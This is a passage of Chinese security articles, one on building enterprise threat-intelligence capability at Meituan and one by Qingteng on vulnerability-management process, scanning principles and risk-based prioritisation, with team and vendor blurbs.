面向业务数据层面的威胁。有了威胁，才能去谈威胁的情报。

在梳理完上述威胁后，笔者第一时间也去问询了一些同行业的朋友，但是老朋友的反馈多为 ‘‘买

买买’’，当然这个可以理解，因为最省事儿的方法就是买买买，但是仔细思考之后，笔者发现了 ‘‘买买

买’’之后会衍生出来一大堆的问题，比如说如何评价威胁情报做的好不好，这也是笔者在接手威胁情

报能力建设之后被老大挑战的最多的问题之一；第二个问题似乎更现实一点，那就是威胁情报团队的

绩效怎么去给，或者说如何评价威胁情报团队的工作对整个安全建设工作是有实际意义的，这两个问

题其实在企业里面是常见但是不太好作答的问题。除了评价和 KPI的问题，威胁情报本身由于先天的

滞后性和本身的缺陷，也有很多不是很好解决的问题，由于问题多了所以便有了以下的段子。
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首当其冲的是情报的准确性，很多情况下我们抓到一条情报之后，无从判断真伪，更有的时候直

接抓到了就直接定性是虚假情报了，这样无形增加了很多的运营成本。第二个问题就是消息不对称，

很有可能情报从原始处获取到了之后，由于生产的问题导致情报出现了失真，最后拿到手里是残缺甚

至是错误的情报，安全运营拿到了之后不知道如何处理这类的情报，在这里举一个例子，在漏洞预警

中，可能不小心没有注意到告警描述里面的 prior，导致了影响版本的误判。

第三个问题其实更比较常见，我们买了很多 IOCs、买了很多情报服务，数据量可能非常之巨大，

但是实际上能拿来运营的往往就那么几条。举一个很常见的例子，我们在购买的 IOC中只会提及 IP

是个扫描器、是个僵尸网络，从来没有人主动了解也没有人去询问他扫描了哪个端口，被哪个家族的

僵尸网络 bot控制了，更有甚者会将一些公司的正常资产标记成恶意的，这个时候没有人为威胁情报

的结果负责，标签就变成了无意义的话题。安全运营的同学见的多了自然就会对威胁情报产生了严重

的质疑，再加上前面提到的安全运营会因为海量的告警出现了告警懈怠，导致真正有用的情报没有能

够及时处理，让真的威胁情报变成了’’无效情报 ‘‘，变成了为企业添堵。

最后就是情报的滞后，举个很简单的例子，就是通用漏洞的威胁情报。通用漏洞的情报很多时候

都是看到朋友圈大量转发或者群里大面积讨论才知道有漏洞了，实际上这个漏洞很有可能是很早之前

就发了修复补丁大家完全没注意的。

再举个很现实的例子，在今年 7月 12号的时候 Squid（一款Web代理软件，广泛用于各大企业中）

发布了一次安全更新，安全更新提到了包含认证、溢出等五个漏洞，CVSS评分最高 6.8，但是到了今

年 8月底的时候，ZDI的一篇文章彻底引爆了这个漏洞，导致朋友圈疯狂转发，我们抛开这些告警来

看，实际上这个漏洞已经有了一个月左右的窗口期，这就是典型由于消息滞后所导致的重要情报漏过，

这个时候也会对企业的系统造成威胁。

这个时候，绝大多数都会想到，我们要去建立一套完整的威胁情报体系和运营流程，但是这个时

候往往又会收到老板的连环追问:

买了威胁情报服务是不是全接进来？威胁情报数据质量是否有保证？

能不能及时产生有效的威胁情报通知或者工单？

工单有没有人跟进闭环或者处理？

解决以后有没有事后复盘等等问题接踵而至. . .
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看完这些你可能有点想放弃了，但是经过仔细考虑一下自己的 KPI之后，你会发现买买买的方法

并不能解决这些问题。所以这个时候你就会考虑构建自己的威胁情报能力了。

2.2 0x01如何构建威胁情报能力

威胁情报的这一概念实际上是 2013年被 Gartner带火的，Gartner对于威胁情报的定义是: 威胁情报是

一种基于证据的知识，包括了情境、机制、指标、隐含和实际可行的建议。威胁情报描述了现存的、

或者是即将出现针对资产的威胁或危险，并可以用于通知主体针对相关威胁或危险采取某种响应。就

目前看，这一定义对整个威胁情报行业甚至是安全行业都有一定的指导意义，但是这一个定义的普适

性很高，正是由于其普适性高的原因直接导致了我们在企业实际安全运营时候发现，Gartner所定义的

威胁情报并不适用于实际的安全运营场景，原因是未对业务层面上的威胁进行定义。如果要建立一个

完整的威胁情报体系，那么就必须要把业务系统、业务数据等业务层面的攻击面以及闭环流程也纳入

进来，这样的话我们对于针对企业各个层次上的威胁都有对应的威胁情报能力，这就是我们所认为的

真实环境下应具备的威胁情报能力：能够为发现潜在或已发生的威胁（包括但不限于业务数据、业务

系统和基础设施）提供有效且可靠的消息类型或者知识类型的数据，且该数据能够通过安全运营进行

高自动化的闭环处理能力，称之为威胁情报能力，提供的数据称之为威胁情报数据。

2.3 0x02如何评价威胁情报能力建设的好坏

诸多血淋淋的案例和运营经验告诉我们，威胁情报的能力构建不是简单 ‘‘买买买’’就能搞定的，‘‘买

买买’’不能解决实际的安全运营问题，这个时候我们就需要自己打造威胁情报能力体系了。但是在正

式开始威胁情报的建设前，我们需要明确威胁情报能力的一个指标，也就是如何去评价威胁情报能力

建设的好坏，我们通过内部的讨论以及我们对于安全运营的经验和实践，为我们的威胁情报能力设置

了四个比较现实的目标：低延时、高精度、可运营和能闭环。
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所谓低延时，目标是为了减少安全应急团队的等待时间，缩短威胁响应的时间，并且尽量减少人

工的介入，让威胁情报能力能够几乎 100%自动化的运营，减少因为人为原因而等待的时间，同时又

保证有效情报的输入和处理，所以自动化率和有效情报转化率是在这部分需要关注的问题。所谓高精

度，指的是采集威胁情报数据的渠道足够稳定，质量足够高，来源足够可靠，并且通过高准确度的算

法来让情报的精准度和内容丰富度达到可运营的标准及以上，这里就需要考验情报生产算法和情报渠

道的可靠性和稳定性，稳定的情报数据和渠道是高品质威胁情报的基石。

所谓可运营，是指我们的情报成品也就是 FINTEL（全称为是 Final Intelligence，在情报界的表示交

付的情报成品）的质量是否能够高可读、高可用同时具备闭环的特性，这个时候可操作性成为了评价

这部分的指标。

最后就是能闭环，前面提到了情报如果不能够运营和闭环的话，实际上就是无效情报，这个时候

的考核指标可能就是闭环成工单的数量。

2.4 0x03威胁情报生命周期和体系建设

在确定了清晰的目标之后，就应该开干了，我们在建设威胁情报能力体系的过程中，把整个威胁情报

能力体系划分成了四个部分：

1.威胁情报数据

2.情报生产工具

3.情报管理平台

4.安全运营团队

这也就是外界所说的人 +数据 +平台的方式建设体系。
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这里数据既包含了内部的诸如流量、日志、安全设备告警，也包含了外部的 IOC、风控情报、第

三方商业情报等外部情报数据，平台这部分比较好理解，主要是为了提高运营效率，理想中的威胁情

报平台至少需要包含采集端、生产端和传送端，其中采集端主要负责聚合各个来源的数据并且完成诸

如分类、去除杂讯、去重等预处理工作；生产端负责的工作主要完成的事情是对威胁情报的修饰、加

权分析、高阶聚合操作，将威胁情报由预处理数据转换成可用的情报成品 FINTEL；而在传播端则是

将不同种类的情报成品 FINTEL按照需求和运营方式传递给不同的人，完成后续运营和闭环的工作。

截止到目前，我们在现有威胁情报体系中已经建成了一个基于威胁情报生命周期且兼容现有安全架构

的威胁情报运营体系，同时建成了两个情报平台和三个数据库，两个平台其中一个负责完成情报的闭

环管理，我们叫它MT-Nebula，另一个完成情报按需推送，我们叫它MT-Radar，三个数据包含用来刻

画外部资产画像、外部资产指纹数据库，用来存放通用组件漏洞的漏洞信息数据库，以及集成了公开

IOC、自爬取情报和第三方商业情报的外部情报数据库。在此基础上，我们也建立了四个情报反馈渠

道，包含人工、自动化、第三方和 SRC，我们的 SRC是既收漏洞也收情报的。

2.5 0x04威胁情报的闭环与运营

首先我们先来谈一下企业的威胁情报生命周期，根据我们的业务特性和运营与闭环模式，我们根据实

际的安全运营经验和威胁情报的一些理论知识将威胁情报能力的运营和信息的闭环分为了四个阶段，

分别是：威胁情报策略制定、威胁情报采集与分析、威胁情报成品交付与情报运营和事后的复盘分析。

我们认为威胁情报能力应该是一个规划导向的安全能力，并且威胁情报计划是一个高度可操作的

详尽计划，所以在日常的威胁情报工作中，我们对情报规划这一部分看的很重，甚至一度认为没有规

划后面做的很多东西可能都是错的甚至是完全相悖的。在实际操作中，我们可能有 35%甚至更长的时

间和精力是在做一个可操作的威胁情报计划，计划的内容包含了评价的指标、不同类型情报的运营与

闭环的策略、需要接入哪些类型的威胁情报、情报与资产数据的交互标准、交付规范等问题。好的规

划确实会事半功倍，同时也会让运营效率更高。其次是威胁情报能力建设工作中技术含量最高的一部

分，情报采集和分析，在这部分主要的工作点是数据完整性确认、情报数据预处理、分析建模、精加

工和修饰调整。目前从效果来看的话，在粗处理阶段引入机器学习的分类方法，会使后期情报数据精

加工的工作变得异常容易，但是在精加工阶段，机器学习又显得非常’’添乱 ‘‘，一方面是因为客户的

需求众口难调，另一方面是准确度的问题。在精加工完毕后，我们需要对 FINTEL添加佐料，佐料的

作用是为了后面增加情报的可运营性。
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下一步进入了一个非常重要且非常难做的环节，威胁情报成品的交付和运营。如果前面做了详实

且可执行的威胁情报计划，在这里就变得轻松了许多，按部就班按照计划执行即可，需要考察威胁情

报的准确性和闭环成工单的数量，威胁情报运营手段与其他的安全运营手段相比没有什么特殊之处。

最后一个阶段就是威胁情报运营结果的复盘和总结，这部分主要是为了解决情报反馈出来的问题，

也就是所谓的 ‘‘分锅大会’’，这一点往往是情报产生实际价值的时候。值得注意的是，情报的计划可

能会随着多个 case的积累而发生改变，并且解决问题不应该是追责，而是应该闭环。

当我们完成了对威胁情报能力生命周期的构建之后，下一步就是基于这一部分周期来设计一个完

整的威胁情报体系。在设计这一部分体系的时候，首当其冲要考虑的应该是威胁情报体系应当兼容现

有的安全体系，其次，要完全按照情报的生命周期逐渐累加必要的数据和分析方法，最后将这些能力

和威胁情报生产算法平台化和规范化。

我们在经过一段时间的运营和实际的应用的结果来看，结合我们现有的安全能力和体系，我们的

威胁情报体系如下图所示，该体系分为了五个层次，分别对应上文中威胁情报生命周期中的四个环节，

规划部分对应策略制定环节，数据研判、情报处理、情报分析对应采集与分析环节，情报运营、闭环

处理和复盘分析分别对应情报运营环节。

在情报规划阶段，我们需要考虑的内容是我们会面临何种类型的威胁、我们如何去收集发现这些

威胁所对应的威胁情报、收集到的威胁情报如何加工成我们想要的 FINTEL成品、成品如何交付和运

营、闭环策略分别是什么等问题。紧接着就是数据研判，所谓数据研判第一件事情是先确认内部的数

据是否完整、可用，因为内部数据的不可用很有可能会影响后面的数据交叉分析，除此之外，外部情

报也要保证按照事先的情报计划接入对应的数据，保证数据是充足的，我们在综合了业务安全情报和

基础安全情报后，优先考虑接入了黑产情报渠道监控、Github监控和人工反馈渠道，而老生常谈的

IOCs、OSINT数据、第三方商业情报数据甚至是我们自己构建的指纹数据库，则以 API的形式对外提

供检测服务，允许其它安全设备接入获取对应的数据，达到为安全赋能的目的，同时我们允许人工反

馈情报，实现现有情报源的有机补充。

当数据准备完毕后，接下来就是情报数据的预处理环节，预处理需要解决的问题包含：情报来源

格式不统一的问题、情报来源不可信的问题、情报素质低的问题、情报重合的问题等，在经过预处理

后，我们将会得到一个具备初步可分析条件的威胁情报数据，成为粗产品。
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在拿到粗产品后，我们需要对粗产品进行进一步的精加工，其目的是为了保证情报满足我们最初

设计的目标，达到目的和效果。在经过分析后，我们就会得到完整的情报 FINTEL成品。

紧接着我们在得到 FINTEL成品后，会通过各种形式让情报进入运营状态，这些形式不拘泥于表

象，包括但不限于工单、信息推送等。同时在这里，平台化的能力沉淀就显得十分重要。到此，我们

的情报能力矩阵就介绍完毕。

2.6 0x05情报分析技术探秘

以上内容让我们对情报体系有了一个初步的了解，但是作为技术能力最强的分析，我们需要详细阐述一

下情报的分析过程，为了方便大家的理解，我会以漏洞情报作为例子来阐述一下具体的操作，整体流程如

下图所示：

首先在一条情报进来之后，他可能是多种形式，可能是一个微信群聊的截图、一篇新闻，也有可能

是一条 Twitter，大概率也可能是一个很丰满的 JSON数据，至于 STIX、TAXII、CyBox这种也会存在，

那么这个时候我们就需要将这些数据通过各种方法整合成我们大概能看懂的一个粗产品。我们以漏洞

情报为例来说明，当我们拿到一个原始的漏洞数据的时候，他可能是一个 GitHub上的 issue，也可能

是一封来自于 Openwall的邮件，更有可能是某个群里一句话，通过绝大多数的实验和实际场景，我们

认为邮件是一个比较好的切入点，因为既包含了 issue又包含了 openwall的列表，所以我们往往会以

邮件作为重要的情报来源之一。
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在获取上述情报来源后，需要对情报进行初加工，这一部分依赖的技术主要是 OCR技术和 NLP技

术，OCR技术的作用是用来识别图片中的文本信息，提取出其中的文本，达到了图片转文字的效果，

在这一部分处理后，我们剩下的多为文本情报了，这个时候 NLP技术将会帮助我们提取其中的关键信

息如词性、词频等，比如说专有名词、时间等，获取到这些信息之后，我们将会把这些分析结果向量

化，使用机器学习方法（如目前的机器学习网红算法 XGBoost）对这些词进行聚类，然后通过自己训

练的模型将关键信息分类，整理到一条数据结构中。

对于我们的漏洞而言，在上一步获取到源数据之后经过上面提到的方法，我们整理出了以下内容，

当然内容不完全正确。
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很明显这个时候情报仍然是不可用的，因为虽然有了漏洞信息，但是情报仍然不可读、不可用，这

个时候我们就需要通过其他的情报进行交叉填充，完成对情报数据的补充，如上面提到的漏洞，详情

可以通过MITRE和 NVD的官方数据库获取详情。

由于我们获得了版本号，所以在 CPE数据或者 SWID数据中，我们可以拉取对应厂商对应产品下

该版本的所有分支版本，这样就可以获得完整的影响范围。
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另外我们也可以从官方公告中获取 CVSS数据，来辅助判断影响范围。

这个时候，我们大概就得到了一个详实的数据结构，但是这仍然不是我们想要的 FINTEL，这部分

只能作为情报的粗加工产品，传递至精加工的流程。

在我们拿到粗加工的情报产品后，我们会和内部数据进行交叉分析，同时引入数据的校准机制，

目前这部分工作绝大部分依靠人工，少部分依赖正则表达式，同时我们还会对情报封装快捷操作和功

能，将一些必要的英语通过翻译 API翻译成中文方便运营的理解，并且通过不同的影响范围，人工或

者自动地调整情报成品中各个情报源的比重来完善这一情报生产模型，这一过程称之为情报生产模型

的迭代，再经过人工修饰后，我们就得到了情报的 FINTEL成品。一个好的 FINTEL必须满足以下条

件：保证情报内容可在短时间之内读懂，所有评估所需要素一应俱全，提供闭环所需解决方案，影响

范围一目了然，方便后续运营闭环操作。当然同类型 FINTEL的交付模式应有对应的交付验收，以保

证情报 FINTEL满足运营团队的运营需要。
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接着上面的漏洞情报，我们最终交付的情报成品是这样的。通过上述的运营方式，我们一般可以

最少提前行业内的预警十几个小时获知此漏洞的存在，目前获取的最长时间差为 7天时间。

2.7 0x06威胁情报与安全设备的联动

生成的威胁情报成品如果还有包含信誉类检测的功能，我们应当保证这些功能是被安全设备调用的，

这也是威胁情报赋能的一种表现。企业内部的安全产品如果按照生产环境和办公环境划分的话，生产

环境的三大件是 IDS、WAF和防火墙，办公环境的三大件是 DLP、EDR和邮件网关（绝大多数 EDR

厂商的前身都是杀软厂商，所以杀软和 EDR在好的产品中应该是打包的）。对于各自的三大件，情报

的赋能限于检测和查询，如以下的告警则是和 HIDS进行联动的应用场景。
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当然业务层面上的情报，除了与反爬系统联动之外，最好的应急方式是拉群定损，这个时候情报

的评价就会体现在快不快上，因为快意味着损失会少，产出会更明显一些。

2.8 0x07 summary

在庞大的复杂系统下去干威胁情报，难度不亚于刷王者级副本，从获取威胁情报到完全闭环一个告警

是一个极其困难且有很大挑战的过程。虽然很多企业在构建威胁情报的时候都不约而同的选择了以买

买买为核心的情报能力构建，但是一直 ‘‘买买买’’实际上不能解决 ‘‘未运营的威胁情报不会产生任何

使用价值’’的问题。其实威胁情报能力对于企业安全的价值最重要的两点是减少信息不对称带来的损

失、赋能于安全提高威胁发现率。但是由于行业内各家对于威胁情报的理解和看法都不尽相同，所以

在威胁情报具体落地实施的情况下都是各走各的路，各有千秋。但是我们始终认为威胁情报是规划导

向的产物，在实际威胁情报运营和闭环中，我们发现很多问题在规划阶段就可以完全避免这一类问题

的发生。所以在构建企业级威胁情报能力的时候，往往坑在规划，重在生产，难在运营，结果取决于

闭环的结果。

但是即使做好了，在面对考核和评价的时候，往往也要给自己定一个小目标，也就是评价威胁情

报能力好不好的四大标准：速度快、情报准、可运营、能闭环。有了体系，就需要将能力沉淀下来，

构建人 +平台 +数据的解决方案，在威胁情报体系建设中，情报体系、自动化平台、数据资源、获取

渠道都是会影响威胁情报能力的关键指标，过程不重要，在结果导向的环境下，FINTEL的好坏才是

成败的关键，因为 FINTEL的好坏直接决定运营难度，好的 FINTEL需具备易读懂、可操作、能运营

的特性，让运营同学一看就能用。

虽然各家对于威胁情报的看法不尽相同，但是希望这篇文章阐述到的观点能够成为一个可供同行

参考的模型，这才是真正意义上的威胁情报为行业赋能。

2.8.1 团队介绍

美团安全部的大多数核心人员，拥有多年互联网以及安全领域实践经验，很多同学参与过大型互联网

公司的安全体系建设，其中也不乏全球化安全运营人才，具备百万级 IDC规模攻防对抗的经验。安

全部也不乏 CVE‘‘挖掘圣手’’，有受邀在 Black Hat等国际顶级会议发言的讲者，当然还有很多漂亮的

运营妹子。目前，美团安全部涉及的技术包括渗透测试、Web防护、二进制安全、内核安全、分布式

开发、大数据分析、安全算法等等，同时还有全球合规与隐私保护等策略制定。我们正在建设一套百

万级 IDC规模、数十万终端接入的移动办公网络自适应安全体系，这套体系构建于零信任架构之上，

横跨多种云基础设施，包括网络层、虚拟化/容器层、Server软件层（内核态/用户态）、语言虚拟机层

（JVM/JS V8）、Web应用层、数据访问层等，并能够基于 ‘‘大数据 +机器学习’’技术构建全自动的安全

事件感知系统，努力打造成业界最前沿的内置式安全架构和纵深防御体系。

随着美团的高速发展，业务复杂度不断提升，安全部门面临更多的机遇和挑战。我们希望将更多

代表业界最佳实践的安全项目落地，同时为更多的安全从业者提供一个广阔的发展平台，并提供更多

在安全新兴领域不断探索的机会。
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2.8.2 一个广告
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漏洞管理新说

作者：程度

来源：青藤云安全

漏洞管理 (Vulnerability Management)是一个老生常谈的概念，也是信息安全领域最为人熟知的概

念。漏洞管理不等于漏洞扫描，漏洞扫描充其量只是过程中的一个步骤。大家经常会把漏洞管理和补

丁管理 (Patch Management)混为一谈，两者区别也在这里说下，补丁管理是指更新软件、操作系统和

应用的一个过程，补丁通常包括功能类、性能类和安全类补丁。把漏洞管理和补丁管理放在一起，基

本有一定的衔接关系，在存在漏洞的时候，需要打补丁来进行修复。但是有时候的漏洞短时间内并没

有补丁，比如 0Day，或者是放弃维护的软件、系统以及应用，比如Windows XP。漏洞有时候就算发

现了，也会因为业务问题而无法打补丁，要通过其他的方式降低影响，比如安全流量设备的虚拟补丁。

将企业的漏洞管理计划与安全框架或标准进行对照，如 Center for Internet Security (CIS,互联网安

全中心) Controls，将有助于揭示有差距以及潜在的改进领域。目前 CIS Controls的版本是 V7.1发布

时间是 2019年 4月。CIS控制是一系列有优先级的纵深防御行为，可以降低大部分常见的攻击方式。

CIS控制一共分为三个大的部分，初级、基础级、组织级。每个级别是递进关系，每个级别里面表明

了相应的安全手段。如下图所示，这里看到持续的漏洞检测是作为初级能力中的第三项出现，也是在

安全能力要求比较低的情况下就需要做出的表现。
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关于持续漏洞管理的细分要求

上图中共展示了七个要求：

3.1运行自动化扫描工具主要讲的是非认证式扫描，指外部通过网络指纹方式的扫描;

3.2运行认证的扫描，主要指登录到相应的设备进行扫描;

3.3设定专用账号，这个是扫描的方式要求，这样可以一方面方便扫描，另一方面可以降低误报;

3.4部署系统的自动化补丁管理工具，是针对于系统的漏洞进行修复;

3.5部署软件的自动化补丁管理工具，这是针对于软件的漏洞进行修复;

3.6进行背靠背的漏洞扫描，是为了验证漏洞是否补丁成功的验证性扫描;

3.7采用风险评级流程，是一种按照风险来对漏洞进行评估的方式。以上七个要求只是说明了应该

做到的方面，但并不代表漏洞管理流程，下一章将对漏洞管理流程进行解析。

3.1 漏洞管理流程

漏洞管理流程一般情况下分为四个步骤：漏洞识别、漏洞评估、漏洞处理、漏洞报告。

漏洞识别是我们通常意义下的漏洞扫描，也是漏洞管理的第一步。根据现有资产的情况，目前可

分为笔记本、PC、服务器、数据库、防火墙、交换机、路由器、打印机等。漏洞扫描进行全部资产的

扫描发现已知的漏洞。后面会详细介绍漏洞识别的相关原理。

漏洞评估是在漏洞识别的基础上进行漏洞严重性的评估，这一步非常重要会影响到后面的处理步

骤。比较常见的漏洞评估是使用 CVSS评分法，根据 CVSS的分数可以分为危急、高危、中危和低危。

但是这种评估方法被业界诟病太多，需要结合其他的方式来进行评估。做法会更进一步结合资产的重

要性来评估漏洞影响，更好的方式是结合风险和威胁评估。后文也会重点说明这种方式。
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漏洞处理是在漏洞评估的基础上进行相关的修复、降低影响或者不修复的操作。修复动作不是简

单的打补丁，是一个流程上的东西。修复过程通常包括以下几个步骤：

1. 获取厂商的补丁;

2. 分析补丁的依赖和系统的兼容性以及补丁的影响;

3. 建立回滚计划，防止补丁对业务造成未知影响;

4. 在测试环境测试补丁修复情况;

5. 在部分生产环境测试补丁修复情况;

6. 进行灰度上线补丁计划，乃至全量补丁修复;

7. 分析补丁修复后的系统稳定并监控;

8. 进行验证补丁是否修复成功，漏洞是否依然存在。

对于很多无法直接根除漏洞进行补丁修复的情况，比如 0Day，不在支持范围的系统或者软件，业

务需求无法中断，补丁速度滞后等情况。我们要采取降低漏洞影响的操作，如下图所示：

通常关于漏洞减轻的措施三个大的方面：网络、终端、应用和数据，细分可包括：

1. 隔离系统网络，包括防火墙规则和网络区域划分;

2. 网络访问控制;

3. NIPS、WAF、SW、DAP、RASP等软件或者设备签名规则更新;
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4. HIPS终端类安全产品进行阻断;

5. EPP类安全产品类似白名单机制、系统加固等;

6. 阻断有漏洞软件的网络连接;

7. 主机防火墙进行端口阻断。

漏洞报告是漏洞管理的最后一个步骤，也是最终的一个产出物。这个报告的目的是为了总结每一

次漏洞管理的成果以及记述过程，存档后也可以对下一次的漏洞管理行为做参考。依照报告的涉及深

度可以由浅至深分为：合规报告、修复过程报告、基于风险报告、重点漏洞分析报告、趋势和指标报

告、持续改进报告。合规的报告比如 PCI-DSS类型的报告，仅仅为了合规的需求。报告本身其实能够

说明每一次管理过程的成果，以及每次评估方法的多样性以及合理性。

综上所诉，漏洞管理的成熟度，可以参看下表：
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3.2 漏洞识别原理

漏洞识别一般是通过漏洞扫描器实现的，识别漏洞的形式无外乎有四种：非认证式扫描、认证式扫描、

API扫描、被动流量扫描。前两种是最普遍的方式。非认证方式扫描，也叫网络扫描方式 (Network

Scanning)，基本原理就是发送 Request包，根据 Response包的 banner或者回复的报文来判断是否有漏

洞，这种分析 Response包内容的主要逻辑是版本比对或者根据 PoC验证漏洞的一些详情来判断。认

证式扫描也叫主机扫描方式 (Agent Based Scanning)，这种方式可以弥补网络方式的很多误报或者漏报

的情况，扫描结果更准，但是会要求开发登录接口，需要在主机进行扫描。拿 Nessus举例，基本就是

下发一个脚本执行引擎和 NASL脚本进行执行，在主机保存相关数据然后上报服务端，最后清理工作

现场。API扫描与接近于应用扫描方式，这里不做深入分析，跟之前写的一篇文章中 DAST相关。被

动式流量扫描比主动式的流量扫描从带宽 IO上没有任何影响，但是需要对所有请求和返回包进行分

析，效果来说最差，因为某些应用如果没有请求过就无法被动地获取相关流量数据进行分析。

说完这些模式，漏洞识别的核心原理是什么呢?漏洞识别本身并不是很复杂的事情，因为 NVD的

数据全部是公开，数据来源来看除非有大量的 0Day，否则漏洞数量上每个厂商的区别并不大。笔者

曾研究过 Nessus的实现原理，毕竟在 3.0之前还是开源的。80%以上的漏洞识别都是通过版本比对实

现的，但是不是 CVE漏洞能够体现的，而是每个厂商的安全公告 (Security Announcement)获取的。比

如 RedHat的 Security Announcement( https://www.redhat.com/mailman/listinfo/rhsa-announce)，可以通过

邮件订阅，这里才是真正的可用数据。这里附带一句，任何成熟的软件厂商都应该维护这样的一个安

全公告，要不然客户遇到漏洞无法修复。主流的 Linux系统都有这种公告我就不一一列举了，还有一

些核心的软件也有这种安全公告内容。有这个的好处是让漏洞扫描工具可以迅速的定位漏洞问题所

在。除了版本比对，各个扫描器的区别就在 PoC的验证脚本数量，老牌的漏扫三大厂 Rapid7、Tenable、

Qualys积累的都不少，这个就是个日积月累的活了，这种通过 PoC的方式更准。因为有些情况运维图

省事，直接替换二进制，其实漏洞已经修复了，但是版本没有变化，这时候 PoC就起作用了，还有在

版本无法获取的情况下也可以发挥作用。PoC可以分为两种形式，一种是本地类的验证，比如 bash的

Ghost漏洞这种情况就是本地执行 PoC方式;另一种网络类的验证，比如 OpenSSL的 HeartBleed漏洞，

就需要向其网站能够发送触发漏洞情况的 Payload。其实无论是网络类的扫描方式还是主机类的扫描

方式都是这两种原理。

这里可以贴个 Kenna和 Cyentia联合报告的图，记录了每个厂商的修复漏洞时间：
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微软对待漏洞的态度还是挺坚决，75%的漏洞都会在 134天内能够修复，反观 IBM就会慢很多，

也是对于厂商选型来看有参考价值。

其实漏洞扫描厂商的最大区别并不是部署模式，或者是发现方式，最核心的问题是对漏洞的评估。

举个例子，如果有 1000个漏洞被识别了，要如何回答客户哪 100个漏洞是最值得修复的，这才是核心

区别，下面着重讨论。

3.3 漏洞管理遇到新的问题

3.3.1 一、漏洞评估方式的改进

漏洞的评估模型目前有三种：基于漏洞本身的评价;基于资产的评价;基于风险和威胁的评价。
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一般客户能做到以漏洞为中心的第一点也不容易，基本都是对于所有漏洞无差别修复，这样工作

量很大，且没有抓住重点。加入资产的重要性进了一步，根据实际资产的价值进行结合这样更有针对

性。以威胁为中心的评价方式是近几年提出的，并不是取代上面两者，而是这个基础上综合考虑加

入威胁的因素。合起来的模型叫做逐渐降低风险和立即处理威胁 (Gradual Risk reduction & Imminent

Threat Elimination (GRIT))。如下图所示：

越靠下的部分证明修复窗口越大，越不需要紧急修复，越靠上修复窗口越小，需要紧急修复。最下

面的逐渐降低风险是对待风险以漏洞为中心或者是以资产为中心的传统方式。中间的普通紧急威胁是

指在渗透的数据库里比如 exploitDB或者在渗透测试的工具集里，或是在恶意软件或者勒索软件利用

里面，这些数据的来源于威胁情报，需要做一些紧急的应对。最上面的紧急威胁是指针对性的攻击，

主要指从威胁情报获取 TTPs的攻击，这个针对性很强的攻击必须在很短的时间内处理。

下图是 2019年十大安全项目之持续适应风险与信任评估的漏洞管理项目，其基本思路也是基于风

险和危险的漏洞管理方式。
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3.3.2 二、资产类型的扩展

信息化领域目前的两大趋势变化：传统数据中心上云;IT和 OT的结合。两种趋势导致被评估的资产类

型发生了很大的变化且导致问题关注点的转移。在上云的趋势下，传统的部署模式会有很大的挑战，

尤其是容器技术的大规模使用，之前漏洞扫描的方式基本失效。云计算在使用上方的便性有很大的提

升空间，但是通过本地部署的方式去进行漏洞并不是最合适的解决方案，基于云的扫描器可能更适用

于这种情况。基于云计算的漏洞扫描方式可以跟云管平台联动，更好的管理云上资产，且毫不遗漏地

进行所有云上资产的漏洞管理。由于容器技术的特点，之前网络类的还是基于 agent的方式都很难对

容器进行有效的漏洞扫描，都需要对容器的文件系统进行理解，对每个 layer分析来进行漏洞的分析

和扫描。因为容器的网络组织形式以及在运行时状态，会让传统的漏洞扫描失效，基本原理发生了根

本的变化。所以在各个大的传统厂商，需要针对容器要做新的技术演进，同时留出了市场空间可以让

专门做容器安全的公司有时间切入这个市场。

关于 IT和 OT的结合，这个场景会更多，漏洞作为安全领域的皇冠，OT安全首当其冲的就是考虑

这个问题。OT包含的五大场景：智慧城市、智慧家庭、智慧医疗、智慧交通和智慧工业。智慧城市可

以以摄像头举例，现在国内的雪亮工程都是当地极大的工程，但是很少考虑摄像头终端设备的漏洞情

况和安全性问题。智慧医疗很多专业的医疗设备都会联网，同时安全性问题也就暴漏出来，国外有些

安全厂商已经在关注这个特定的行业。智慧交通在车联网上在车内以及 TBOX都有一些厂商切人，漏

洞这块还是以挖掘为主，漏洞管理这块还没有成型。智慧工业的场景是常提到的工控安全，这个领域

已经有相关的国内厂商在做，但是大部分都还是传统的 IT思路。OT领域的漏洞管理还是比较初级的

市场，需要更多的市场培育和关注。
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3.3.3 三、新的产品类型

这里不提及Web漏洞扫描和配置安全扫描的产品类型，重点提到威胁漏洞管理 (TVM)和泄漏攻击模

拟 (BAS)两种产品。TVM是指威胁和漏洞管理，这种产品本身可以不用做相关的漏洞扫描，这是将漏

洞和威胁信息结合归并，可以理解为漏洞领域的 SoC。TVM可以使用漏洞扫描数据并利用威胁情报

(TI)、攻击的漏洞以及内部资产的重要性，实现让组织更好地理解漏洞风险，防止泄漏产生。同时也

可以跟 IPDS和WAF类产品对接可以作为漏洞处理的方式可以迅速响应。代表厂商有 Kenna Security

和 NopSec，同时这两家厂商对于漏洞的评估也比传统的漏洞扫描厂商更有针对性，更基于威胁和风

险本身。

BAS是以攻击者视角来看待漏洞。会自动化模拟攻击行为来利用漏洞，更真实，也更具实际意

义。BAS会将漏洞识别和漏洞利用合二为一，让客户感觉更真实有效。代表厂商有 AttackIQ和 Core

Security。AttackIQ基于MITRE的 ATT&CK的矩阵模型进行的攻击模型来设计的产品更切实落地，基

本实现方式是安装 agent、运行测试脚本和场景模拟，最后查看结果。形式上看起来跟传统的漏洞扫描

没有区别，就是角度上区别比较大，更贴近于实际的攻击场景。

3.4 总结

本文主要针对于目前漏洞管理的一些新要求提出了一些见解。首先是介绍了漏洞管理的流程以及成熟

度;其次，详细介绍了漏洞扫描的相关原理，对于大部分产品都适用;最后重点引出了漏洞管理遇到的

新的问题，包括：漏洞评估方式改进、资产类型的扩展以及新的产品类型的提及。漏洞评估方式的改

进是最重要需要注意的地方，也是目前漏洞管理里面的痛点所在，如果没有基于风险和威胁的角度，

修复漏洞的优先级就无法做判断，漏洞管理就会走入程式化，效果可能很难得到最好的体现。资产类

型的扩充对于目前的漏洞管理方式提出了新的挑战尤其是在云计算、容器技术和 IoT相关的场景下，

需要思考资产的特殊性来进行漏洞管理的适配。新的产品类型其实也是基于上述提到的产品变化衍生

出来的产品，包括 TVM和 BAS类型的产品，漏洞扫描并不是没有变化，只不过向着更有安全价值的

方向在演进。

3.4.1 关于青藤云安全：

青藤云安全以服务器安全为核心，采用自适应安全架构，将预测、防御、监控和响应能力融为一体，

构建基于主机端的安全态势感知平台，为用户提供持续的安全监控、分析和快速响应能力，帮助用户

在公有云、私有云、混合云、物理机、虚拟机等多样化的业务环境下，实现安全的统一策略管理，有

效预测风险，精准感知威胁，提升响应效率，全方位保护企业数字资产的安全与业务的高效开展。
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受攻击，漏洞大量爆出，那么国
家安全、社会秩序和人民生活将
